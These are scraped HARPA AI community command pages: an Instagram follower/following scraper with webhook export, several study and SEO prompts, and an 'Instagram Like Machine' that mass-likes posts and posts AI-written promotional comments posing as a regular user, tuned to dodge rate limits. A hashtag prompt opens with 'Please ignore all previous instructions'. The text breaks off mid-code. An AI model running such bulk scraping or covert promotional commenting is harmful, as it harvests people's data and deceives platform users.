|- let urlPattern = /^https:\/\/www\.instagram\.com\/([\w\.]+)/; let result = input; // Default to the original value if (input.startsWith('@')) { result = input.slice(1); // Remove '@' symbol if it exists } else if (urlPattern.test(result)) { result = input.match(urlPattern)[1]; // Extract username from the URL } console.log(result); return result; type: js args: input param: username timeout: 15000 silent: true label: EXTRACT USERNAME condition: '{{input-option}} = $custom' type: group - steps: - message: ⏳ Navigating to **@{{username}}**'s profile. type: say - type: navigate url: https://www.instagram.com/{{username}}/ waitForIdle: false silent: true - type: wait for: 2s silent: true - code: |- let text = document.querySelector('header section ul').innerText; let formattedText = text.replace(/\n/g, ', '); return formattedText; param: stats type: js args: '' timeout: 15000 silent: true label: EXTRACT STATS label: NAVIGATE type: group - param: count message: >- **@{{username}}** has {{stats}}. How many followers/following profiles should be extracted? Pick an option or enter a number. options: - label: ♻️ ALL value: 99999999999 - label: 50 value: 50 - label: 100 value: 100 - label: 250 value: 250 - label: 500 value: 500 - label: 1k value: 1000 - label: 5k value: 5000 - label: 10k value: 10000 - $custom vision: enabled: false mode: area hint: '' send: true type: ask default: '' optionsInvalid: false - param: option options: - label: ✅ EXTRACT BOTH value: both - label: ➡️ ONLY FOLLOWERS value: followers - label: ⬅️ ONLY FOLLOWING value: following vision: enabled: false mode: area hint: '' send: true type: ask message: '' default: '' optionsInvalid: false - steps: - steps: - message: ⏳ Extracting followers' profiles, wait a bit. type: say - url: https://www.instagram.com/{{username}}/followers/ type: navigate waitForIdle: false silent: true - type: control action: show - for: idle timeout: 3500 type: wait silent: true - code: |- let linkOpened = !!document.querySelector('div[role="dialog"]'); return linkOpened; param: linkOpened label: CHECK IF OPENED type: js args: '' timeout: 15000 silent: true - code: >- document.querySelector('header section ul li:nth-child(2) a').click(); condition: '{{linkOpened}} = false' label: CLICK IF FAILED type: js args: linkOpened param: '' timeout: 15000 silent: true - type: wait for: 2s silent: true condition: '{{linkOpened}} = false' - code: |- let openData = !!document.querySelector('[placeholder="Search"]'); return openData; param: openData label: CHECK IF HIDDEN type: js args: '' timeout: 15000 silent: true - message: 💡 Followers info hidden. Extracting what's accessible... condition: '{{openData}} = false' type: say - code: |- async function extractDataWithScroll(count) { // Find the dialog element const dialog = document.querySelector('div[role="dialog"]'); if (!dialog) { console.error('Dialog not found'); return null; } const results = []; const uniqueUsernames = new Set(); let retries = 0; const maxRetries = 10; // Limit the number of scrolling attempts // Function to scroll and wait for new content to load async function scrollAndWait() { const scrollableElement = document.querySelector('div[role="dialog"] div:has(> div > input) ~ div:last-child'); if (scrollableElement) { console.log('Scrolling to load more users...'); scrollableElement.scrollBy(0, 1000); // Scroll down by 1000 pixels await new Promise(resolve => setTimeout(resolve, 3000)); // Wait for 1 second for new elements to load } else { console.error('Error: Unable to find the scrollable element.'); } } // Function to extract user data from the current view async function extractUsers() { const userElements = dialog.querySelectorAll('div[role="dialog"] div[style*="flex-direction: column"] > div > div > div:nth-child(1)'); let newUsersFound = false; for (const userElement of userElements) { // Find the link element containing the username const linkElement = userElement.querySelector('a[href^="/"][role="link"]'); if (!linkElement) continue; // Extract username from the link const link = linkElement.getAttribute('href'); const username = link.slice(1).replace('/', ''); // Skip if this username has already been processed if (uniqueUsernames.has(username)) continue; // Try to find the full name let fullNameElement = linkElement.nextElementSibling; let fullName = fullNameElement && fullNameElement.tagName === 'SPAN' ? fullNameElement.textContent.trim() : ''; // If full name not found, search in other span elements if (!fullName) { const spans = userElement.querySelectorAll('span'); for (const span of spans) { const text = span.textContent.trim(); if (text && text !== username && text !== 'Search') { fullName = text; break; } } } // If both username and full name are found, add to results if (username && fullName) { uniqueUsernames.add(username); results.push({ username: username, fullName: fullName, link: `https://www.instagram.com/${username}` }); newUsersFound = true; } } return newUsersFound; } // Main loop: extract users and scroll until target count is reached or max retries hit while (results.length < count && retries < maxRetries) { const newUsersFound = await extractUsers(); console.log(`Collected ${results.length} users so far.`); if (results.length < count) { await scrollAndWait(); retries++; } if (!newUsersFound) { retries++; } else { retries = 0; // Reset the retry counter if new users were found } } console.log(`Total users found: ${results.length}`); // Trim the results array to the requested count if (results.length > count) { console.log(`Trimming results from ${results.length} to ${count}`); results.splice(count); } // Return the results as a JSON string, or undefined if no results return results.length > 0 ? JSON.stringify(results, null, 2) : undefined; } // Function call and result output extractDataWithScroll(count).then(data => { console.log(data ? data : "No data found"); }); // Return the promise from the function call return extractDataWithScroll(count); timeout: 150000 type: js args: count param: followers silent: true - func: extract-json index: all type: calc to: followers param: followers - func: list-add list: instagram.followers type: calc index: '' item: followers - message: ✅ Extracted {{followers.length}} followers' profiles. type: say label: FOLLOWERS condition: '{{option}} != following' type: group - steps: - message: ⏳ Extracting following profiles, wait a bit. type: say - url: https://www.instagram.com/{{username}}/following/ type: navigate waitForIdle: false silent: true - type: control action: show - type: wait for: idle silent: true timeout: 3500 - type: js args: '' code: |- let linkOpened = !!document.querySelector('div[role="dialog"]'); return linkOpened; param: linkOpened timeout: 15000 label: CHECK IF OPENED silent: true - code: >- document.querySelector('header section ul li:nth-child(3) a').click(); type: js args: linkOpened param: '' timeout: 15000 condition: '{{linkOpened}} = false' silent: true label: CLICK IF FAILED - type: wait for: 2s silent: true condition: '{{linkOpened}} = false' - type: js args: '' code: |- let openData = !!document.querySelector('[placeholder="Search"]'); return openData; param: openData timeout: 15000 label: CHECK IF HIDDEN silent: true - message: 💡 Following profiles hidden. Extracting what's accessible... type: say condition: '{{openData}} = false' - type: js args: count code: |- async function extractDataWithScroll(count) { // Find the dialog element const dialog = document.querySelector('div[role="dialog"]'); if (!dialog) { console.error('Dialog not found'); return null; } const results = []; const uniqueUsernames = new Set(); let retries = 0; const maxRetries = 10; // Limit the number of scrolling attempts // Function to scroll and wait for new content to load async function scrollAndWait() { const scrollableElement = document.querySelector('div[role="dialog"] div:has(> div > input) ~ div:last-child'); if (scrollableElement) { console.log('Scrolling to load more users...'); scrollableElement.scrollBy(0, 1000); // Scroll down by 1000 pixels await new Promise(resolve => setTimeout(resolve, 3000)); // Wait for 1 second for new elements to load } else { console.error('Error: Unable to find the scrollable element.'); } } // Function to extract user data from the current view async function extractUsers() { const userElements = dialog.querySelectorAll('div[role="dialog"] div[style*="flex-direction: column"] > div > div > div:nth-child(1)'); let newUsersFound = false; for (const userElement of userElements) { // Find the link element containing the username const linkElement = userElement.querySelector('a[href^="/"][role="link"]'); if (!linkElement) continue; // Extract username from the link const link = linkElement.getAttribute('href'); const username = link.slice(1).replace('/', ''); // Skip if this username has already been processed if (uniqueUsernames.has(username)) continue; // Try to find the full name let fullNameElement = linkElement.nextElementSibling; let fullName = fullNameElement && fullNameElement.tagName === 'SPAN' ? fullNameElement.textContent.trim() : ''; // If full name not found, search in other span elements if (!fullName) { const spans = userElement.querySelectorAll('span'); for (const span of spans) { const text = span.textContent.trim(); if (text && text !== username && text !== 'Search') { fullName = text; break; } } } // If both username and full name are found, add to results if (username && fullName) { uniqueUsernames.add(username); results.push({ username: username, fullName: fullName, link: `https://www.instagram.com/${username}` }); newUsersFound = true; } } return newUsersFound; } // Main loop: extract users and scroll until target count is reached or max retries hit while (results.length < count && retries < maxRetries) { const newUsersFound = await extractUsers(); console.log(`Collected ${results.length} users so far.`); if (results.length < count) { await scrollAndWait(); retries++; } if (!newUsersFound) { retries++; } else { retries = 0; // Reset the retry counter if new users were found } } console.log(`Total users found: ${results.length}`); // Trim the results array to the requested count if (results.length > count) { console.log(`Trimming results from ${results.length} to ${count}`); results.splice(count); } // Return the results as a JSON string, or undefined if no results return results.length > 0 ? JSON.stringify(results, null, 2) : undefined; } // Function call and result output extractDataWithScroll(count).then(data => { console.log(data ? data : "No data found"); }); // Return the promise from the function call return extractDataWithScroll(count); param: following timeout: 150000 silent: true - type: calc func: extract-json to: following param: following index: all - list: instagram.following type: calc func: list-add index: '' item: following - message: ✅ Extracted {{following.length}} following profiles. type: say label: FOLLOWING condition: '{{option}} != followers' type: group label: DATA EXTRACTION type: group - func: clone from: instagram type: calc to: g.json - type: navigate url: https://www.instagram.com/{{username}}/ waitForIdle: false silent: true - type: control action: show - message: JSON is stored in **{{g.json}}** and can be used in other commands. type: say interpolate: false - param: final options: - label: 📦 EXPORT value: export - label: 🔗 SEND VIA WEBHOOK value: webhook - label: ✅ DONE value: done vision: enabled: false mode: area hint: '' send: true type: ask message: '' default: '' optionsInvalid: false - what: param condition: '{{final}} = export' type: export param: instagram - steps: - message: 'Please provide the Webhook URL:' options: null vision: enabled: false mode: area hint: '' send: true type: ask param: webhook default: '' - type: request url: '{{webhook}}' method: auto body: '{{instagram}}' auth: enabled: false username: '' password: '' headers: null param: '' bodyInvalid: true label: WEBHOOK condition: '{{final}} = webhook' type: group Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | YouTube Language Studying v1.1 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📚  YouTube Language Studying v1.1 ================================== Helps learn any language by watching videos in that language. extracts key phrases and translates them into your selected language. ----------------------------------------------------------------------------------------------------------------------------------- Created by **Visioncraft** Updated on **Dec 6, 2024 15:32** Installed **186 times** 11 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt prompt: >- Act as a professional foreign language teacher who teaches me, a {{language}}-speaking student. Your task is to analyze a YouTube video transcript and provide me with the top 10 phrases from the different parts of youtube video transcript in the required 1st and 2nd level bullet points format: - [MM:SS](URL with a specific time in the video) A phrase that I need to analyze in the context of a sentence to understand its usage. Important part highlighted in **bold**. E.g.: "To **kick things off**, let me introduce myself." - Brief meaning of the **bold** text in the simplest way possible in transcript language, e.g: "Means to start or begin something." - Full sentence translation to {{language}} [WRITE ONLY IF the transcript language differs from {{language}}] - [MM:SS](URL) Next phrase in the same format... Follow these instructions: - Do not use quotation marks and numbers in bullet point - Analyze the entire video and don't just focus on the first segment since important information is spread throughout the video. - Focus on native expressions that'll make me sound fluent. For example, I don't care about the word "kick", but I want to learn phrases like "to kick things off" in the context of the sentence for better understanding. - Do not make up phrases or timecodes, use actual timestamps from where you took the phrase. - Take the last timestamp found before the phrase instead of after. - Avoid repeating words when explaining things - Be concise, don't overcomplicate language learning - The timestamp should be presented in markdown URL format. The URL text indicates, and the address links to a specific time in the video, for example: [00:15:49](https://youtube.com/Mde2q7GFCrw?t=949s) - Do not render brackets. Do not add extra notes or any general phrases. [VIDEO URL]: {{url}} [TIMESTAMPED VIDEO TRANSCRIPT CHUNK]: {{chunk}} [Top 10 phrases to learn]: onCodeClick: null chunkify: text: '{{transcript}}' empty: >- It looks as if the video has no text transcript, or I could not fetch it from the page. isolated: true Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Lecture Note Style Summary v2 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📚  Lecture Note Style Summary v2 ================================= Convenient note generator for different lecture formats (Text or YouTube videos), formats formulas and code well. ----------------------------------------------------------------------------------------------------------------- Created by **Sophie Dubois** Updated on **Nov 8, 2024 16:37** Installed **195 times** 8 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt prompt: >- You are an expert college professor creating comprehensive lecture notes. Your task is to transform the provided text into a clear, well-structured markdown-formatted lecture note that can serve as a standalone reference. Core requirements: - Create a concise yet thorough summary that captures all essential information - Preserve and properly format: - Code examples and Equations (using LaTeX formatting) - Key concepts and definitions - Technical details and procedures - The output must be in {{language}}. Formatting guidelines: 1) Use Markdown titles for clear hierarchy, code blocks and TeX formatting for math or code. 2) If I provided you with a YouTube transcript, then reference video segments in the summary note text- include timestamp references using this markdown URL format, e.g.: - [00:00:05](https://youtube.com/Mde2q7GFCrw?t=5s) ... - [00:02:18](https://youtube.com/Mde2q7GFCrw?t=138s) ... - [00:05:37](https://youtube.com/Mde2q7GFCrw?t=337s) ... 3) Use these markdown timestamps to divide the summary text into sections - specify the timestamp and then write your note. 4) Main title format: # (part X) 5) Skip practice exercises and study questions 6) Use Section titles format: "## <section_title>" (for texts) or "- [timestamp](link) <section_title>" (for video transcripts). [PAGE URL]: {{url}} [CONTENT TO SUMMARIZE]: Part {{chunk.index}} of {{chunk.total}}: {{chunk}} --end text-- Please proceed with the lecture note creation: chunkify: text: '{{page}}' maxTokens: 4500 empty: '' isolated: true param: gpt Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | EEAT WebPage Analysis v3 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ✳️  EEAT WebPage Analysis v3 ============================ Run this command to analyze webpage content according to Google's EEAT guidelines and get detailed scoring with improvement recommendations. #SEO #EEAT #GOOGLE --------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **Adrian Larsson** Updated on **Nov 11, 2024 08:14** Installed **194 times** 13 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt prompt: >- You are a professional SEO and content quality analyst specializing in Google's EEAT guidelines evaluation. Your task is to provide detailed, objective analysis of web content in {{language}}. Analyze the following [WEBPAGE CONTENT] according to Google's EEAT (Experience, Expertise, Authority, Trust) guidelines. Provide a comprehensive evaluation using this structured format: 1. PRELIMINARY SCAN - Author identification: [Present/Not present] - Publication date: [Present/Not present] - Author expertise indicators: [Present/Not present] - Experience validation: [Present/Not present] - Topic relevance: [High/Medium/Low] 2. DETAILED EEAT SCORING (Scale 1-10) EXPERIENCE (_/10) • Current score: • Key findings: • Improvement recommendations: EXPERTISE (_/10) • Current score: • Key findings: • Improvement recommendations: AUTHORITY (_/10) • Current score: • Key findings: • Improvement recommendations: TRUST (_/10) • Current score: • Key findings: • Improvement recommendations: 3. OVERALL ASSESSMENT • Total EEAT Score: [X/40] • Primary strengths: • Critical gaps: • Priority improvements: 4. ACTION ITEMS List specific, actionable recommendations in order of priority: 1. 2. 3. ----- [WEBPAGE CONTENT]: {{page}} Your analysis in this exact format, with clear, specific details for each section: isolated: true param: gpt Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Instagram Like Machine v2.1 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ❤️  Instagram Like Machine v2.1 =============================== Automatic like machine that LOOPs over lists of #hashtags or @usernames. Command saves already processed photos and settings, making runs more effective. #instagram -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **Bohdan Kovtunenko** Updated on **Nov 11, 2024 08:14** Installed **189 times** 17 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: group steps: - type: calc func: set param: likesCount format: number value: '0' - param: g.inst.likesDelay format: auto value: normal condition: '{{g.inst.likesDelay}} =' type: calc func: set - param: g.inst.comments value: 'no' condition: '{{g.inst.comments}} =' type: calc func: set format: auto - param: g.inst.commentStyle value: >- I need a brief comment from the HARPA AI team, mentioning that we stumbled upon them online. If suitable, mention something about our product, HARPA AI. HARPA AI is a Chrome Extension that can integrate AI into a user's daily tasks and automate their browser activities, helping achieve peak productivity and save time. If you see an AI-generated image in the screenshot, mention that HARPA AI can create great prompts for Midjourney. Also, HARPA have a large collection of prompt templates for generating images in various styles. condition: '{{g.inst.commentStyle}} =' type: calc func: set format: auto - param: g.inst.likesPerRun value: '10' condition: '{{g.inst.likesPerRun}} =' type: calc func: set format: auto - param: g.inst.target value: '@harpa.ai #harpaai' condition: '{{g.inst.target}} =' type: calc func: set format: auto label: DEFAULT SETTINGS - message: >- 👋 Hi, - Keep this tab active in the browser window for liking to work correctly. - Avoid using this Instagram profile in other tabs while the automation is running. - Comments use Vision features. Make sure you're using the correct LLM, and we recommend reducing your active browser window size to minimize token usage. 📣 For safety, we recommend not leaving more than 100 likes and 50 comments per day, using a delay of at least 5 sec after each action. You can speed up liking, risking temporary action blocks - it is up to you. type: say label: WELCOME - steps: - steps: - param: comments format: '' value: |- YES, {{g.inst.commentsCount}} per @ or #. 🔔 For successful commenting: - Do not touch this browser window or cover it with other windows. - Use a Vision-capable AI model (e.g., CloudGPT GPT-4o or API). condition: '{{g.inst.comments}} = yes' type: calc func: set - value: 'NO' condition: '{{g.inst.comments}} = no' type: calc func: set param: comments format: '' label: CHANGE WORDING type: group - type: ask param: speed message: |- ## Current actions frequency: **Likes per @ or #:** {{g.inst.likesPerRun}} **Delay:** {{g.inst.likesDelay}} **Leave comments:** {{comments}} options: - label: ✅ OK! value: ok - label: ⚙️ CUSTOMIZE value: customize vision: enabled: false mode: area send: true hint: '' label: ACTIONS FREQUENCY default: '' optionsInvalid: false - type: jump to: START ASK condition: '{{speed}} = ok' - message: >- 💡 Choose an option or enter a custom delay in milliseconds (1 min = 60 sec = 60000 ms). options: - label: ⏩ NORMAL (1-5 sec.) value: normal - label: ▶️ SLOW (10-20 sec.) value: slow - label: ⏭ FAST (0.5 sec.) value: fast - $custom type: ask param: g.inst.likesDelay default: '' optionsInvalid: false - message: '**Likes per @ or #:**' options: - label: 5 likes value: 5 - label: 10 likes value: 10 - label: 25 likes value: 25 - $custom type: ask param: g.inst.likesPerRun default: '' optionsInvalid: false - steps: - message: Add comments? options: - label: ✅ YES value: 'yes' - label: ⛔ NO value: 'no' vision: enabled: false mode: area hint: '' send: true param: g.inst.comments type: ask default: '' optionsInvalid: false - to: CHANGE WORDING condition: '{{g.inst.comments}} = no' type: jump - message: How many comments do I need to generate per profile / hashtag? options: - label: 1 comment value: 1 - label: 5 comments value: 5 - label: 10 comments value: 10 - $custom vision: enabled: false mode: area hint: '' send: true label: ASK HOW MANY param: g.inst.commentsCount condition: '{{g.inst.comments}} = yes' type: ask default: '' optionsInvalid: false - message: |- Enter your comment instructions. Currently: ```markdown {{g.inst.commentStyle}} ``` vision: enabled: false mode: area hint: '' send: true label: ASK STYLE options: null default: '' type: ask param: g.inst.commentStyle - to: CHANGE WORDING type: jump label: ASK COMMENTS type: group label: SETTINGS type: group - steps: - message: >- 💬 Enter #hashtags or @usernames, separated by spaces or commas. You can mix them together. Or, choose from your last used: ``` {{g.inst.target}} ``` options: - label: ▶️ START value: start - label: ♻️ GENERATE HASHTAGS value: hashtags - $custom default: '@harpa.ai' label: ASK FOR INPUT param: input type: ask optionsInvalid: false - steps: - message: 💬 What's the topic? param: topic type: ask options: null default: '' - prompt: >- Please ignore all previous instructions. I want you to respond only in English. Create 20 simple 1 or 2 words Instagram hashtags targeting my [TOPIC]. - Separate keywords by commas, write them with #. Only capitalize proper nouns. Output in a single line. - I need you to generate a list of basic hashtags that can be used to find many photos. - Keep the hashtags simple, like a single word keywords. Wrap your response into a markdown code block. Example: ```markdown ...hashtags... ``` [TOPIC]: {{topic}} [HASHTAGS]: type: gpt param: input silent: false - func: extract-code type: calc to: input param: input index: '' - param: ask-hashtags options: - label: ✅ START WITH HASHTAGS value: start - label: ⛔ MENU value: menu type: ask message: '' default: '' optionsInvalid: false - condition: '{{ask-hashtags}} = menu' type: jump to: ASK FOR INPUT - to: FIND NAMES OR HASHTAGS condition: '{{ask-hashtags}} = start' type: jump condition: '{{input}} = hashtags' label: GENERATE HASHTAGS type: group - func: clone condition: '{{input}} = start' type: calc from: g.inst.target to: input - code: |- function extractUsernamesAndHashtags(args) { // Regex to find usernames const usernameRegex = /@\w+(\.\w+)*(_\w+)*(\.\w+)*/g; // Regex to find hashtags const hashtagRegex = /#\w+/g; // Searching for usernames and hashtags in the text from args.input const usernames = args.input.match(usernameRegex) || []; const hashtags = args.input.match(hashtagRegex) || []; // Combining the results into one array return [...usernames, ...hashtags]; } return extractUsernamesAndHashtags(args) type: js param: list args: input silent: true label: FIND NAMES OR HASHTAGS - message: '⛔️ Unrecognised #hashtag / @username format.' condition: '{{list.length}} = 0' type: say - type: jump to: ASK FOR INPUT condition: '{{list.length}} = 0' - type: calc func: clone from: input to: g.inst.target label: START ASK type: group - steps: - steps: - param: target value: '{{item}}' type: calc func: set format: '' - param: saytarget type: calc func: set format: '' value: '{{item}}' - steps: - func: replace regex: /^#/gmi type: calc to: target param: target template: '' - func: encode-url type: calc to: target param: target - url: https://www.instagram.com/explore/tags/{{target}}/?hl=en type: navigate waitForIdle: true silent: true - to: FIND FOTO URLS type: jump condition: '{{target}} =~ ^#\w+' label: HASHTAG ENTERED type: group - steps: - regex: /^@/gmi type: calc func: replace to: target param: target template: '' - type: calc func: encode-url to: target param: target - url: https://www.instagram.com/{{target}}/ type: navigate waitForIdle: true silent: true - type: jump to: FIND FOTO URLS condition: '{{target}} =~ ^@\w+' label: USERNAME ENTERED type: group - message: |- ⛔️ Unrecognised #hashtag / @username format. Skipped. type: say label: NAVIGATE type: group - steps: - param: cCount type: calc func: set format: number value: '0' - code: |- await $harpa.scroller.scroll() await $harpa.scroller.scroll() type: js args: '' param: '' silent: true - type: wait for: idle timeout: 2000 silent: true - type: js code: |- await $harpa.scroller.scroll() await $harpa.scroller.scroll() args: '' param: '' silent: true - type: wait for: idle timeout: 2000 silent: true - code: |- return Array .from(document.querySelectorAll('a[href*="/p/"]')) .map(a => 'https://www.instagram.com' + a.getAttribute('href')) .filter(url => url.includes('/p/')); param: pageLinks type: js args: '' silent: true - code: >- let filteredArray = pageLinks.filter(url => !g.inst.processed.includes(url)); return filteredArray; args: pageLinks, g param: links label: 'FILTERING PROCESSED ' condition: '{{g.inst.processed}}' type: js silent: true - label: COPY IF 1ST RUN type: calc func: clone from: pageLinks to: links - message: >- 🔍 Found {{pageLinks.length}} photos, {{links.length}} are not processed yet. Liking.... condition: '{{links.length}} > 0' type: say - to: END LOOP SKIP ITEM condition: '{{links.length}} = 0' type: jump - for: 0.5s type: wait silent: true type: group label: FIND FOTO URLS - label: COUNT ACTIONS type: calc func: set param: likesCount format: number value: '0' - steps: - steps: - message: >- **{{saytarget}}:** {{likesCount}} out of {{g.inst.likesPerRun}} photos are liked. type: say - to: TO NEXT PAGE type: jump condition: '{{likesCount}} = {{g.inst.likesPerRun}}' label: 'END ' type: group - type: navigate url: '{{item}}' waitForIdle: false silent: true - type: control action: show - for: js-function timeout: 3000 code: >- return document.querySelectorAll('svg[aria-label="Like"][width="24"], svg[aria-label="Unlike"][width="24"]').length > 0 type: wait silent: true - code: >- return document.querySelectorAll('svg[aria-label="Unlike"][width="24"]').length > 0 param: unlike type: js args: '' silent: true - message: ❤️ Liking [post]({{item}}) by {{saytarget}} condition: '{{saytarget}} =~ ^@\w+' type: say - message: ❤️ Liking [post]({{item}}) in {{saytarget}}. condition: '{{saytarget}} =~ ^#\w+' type: say - message: 📌 Already liked, skipping! condition: '{{unlike}} = true' type: say - steps: - condition: '{{cCount}} =' type: calc func: set param: cCount format: number value: '0' - condition: '{{cCount}} >= {{g.inst.commentsCount}}' to: LIKE type: jump - message: ⏳ Analyzing screenshot type: say - prompt: > Act like you are a regular Instagram user representing the HARPA AI Team. I want you to analyze a screenshot of a page with a post and image, then generage a comment or say that the post should be skipped (criteria will be provided later). Follow the instructions: - Follow my style or instructions: {{g.inst.commentStyle}}. - Response in {{language}} - Write very brief answers, act like a regular person, and try to use simple words and expressions suitable for social media. - Analyze the image and decide if its content is appropriate for commenting: consider whether it's reasonable to comment according to my instructions. . - Some images are irrelevant and need no comment. If you see an irrelevant image in the screenshot, say "skip" in a markdown code block. - Do not create or assume extra information you haven’t been given. - I only need the comment in a markdown code block. Strictly follow the response format: ```markdown comment text ``` or for irrelevant content: ```markdown skip ``` Instagram page screenshot: {{view}} Your response in markdown code block: param: reply type: gpt isolated: true silent: false - type: calc func: extract-code to: reply param: reply index: '' - message: >- 🟡 [Photo]({{url}}) unsuitable for comment based on instructions. Skipping. condition: '{{reply}} = skip' type: say - condition: '{{reply}} = skip' type: jump to: LIKE - func: increment type: calc param: cCount delta: 1 - action: hide type: control - text: '{{reply}}' selector: - $matches: - $tag: TEXTAREA - $role: textbox - $class: x1i0vuye - $class: xvbhtw8 - $class: x1ejq31n - $class: xd10rxx - $class: x1sy0etr - $class: x17r0tee - $class: x5n08af - $class: x78zum5 - $class: x1iyjqo2 - $class: x1qlqyl8 - $class: x1d6elog - $class: xlk1fp6 - $class: x1a2a7pz - $class: xexx8yu - $class: x4uap5 - $class: x18d9i69 - $class: xkhd6sd - $class: xtt52l0 - $class: xnalus7 - $class: xs3hnx8 - $class: x1bq4at4 - $class: xaqnwrm - $attribute: aria-label=Add a comment… - $attribute: autocomplete=off - $attribute: autocorrect=off - $attribute: dir - $attribute: 'style=height: 18px !important;' - $attribute: data-last-active-input - $style: '-apple-system:14px:400:normal' - $placeholder: Add a comment… - $role: form traverse: '0:1' - $class: x1hrcb2b traverse: '0:0:0:1' - $class: x1q2y9iw traverse: '4:0:0:0:1' - $class: x18l3tf1 traverse: '4:0:0:0:1' - $class: xy80clv traverse: '4:0:0:0:1' - $anchor: denissluman Beautiful Country 🇳🇴 shift: '-10:-32' - traverse: '-12:4:0:0:0:1' $text: denissluman Beautiful Country 🇳🇴 - $anchor: ibrgkllrch Heavenly country ❤️ shift: '-10:34' - $text: ibrgkllrch Heavenly country ❤️ traverse: '-12:4:0:0:0:1' - $anchor: hamza_v8 Love 🇳🇴 🙏🏼 shift: '-10:100' - $text: hamza_v8 Love 🇳🇴 🙏🏼 traverse: '-12:4:0:0:0:1' min: 12 - $size: 1 item: container: __$ht: element id: 0 type: element value: Add a comment… mode: type type: paste selectorType: ai silent: true - selector: - $matches: - $tag: DIV - $role: button - $class: x1i10hfl - $class: xjqpnuy - 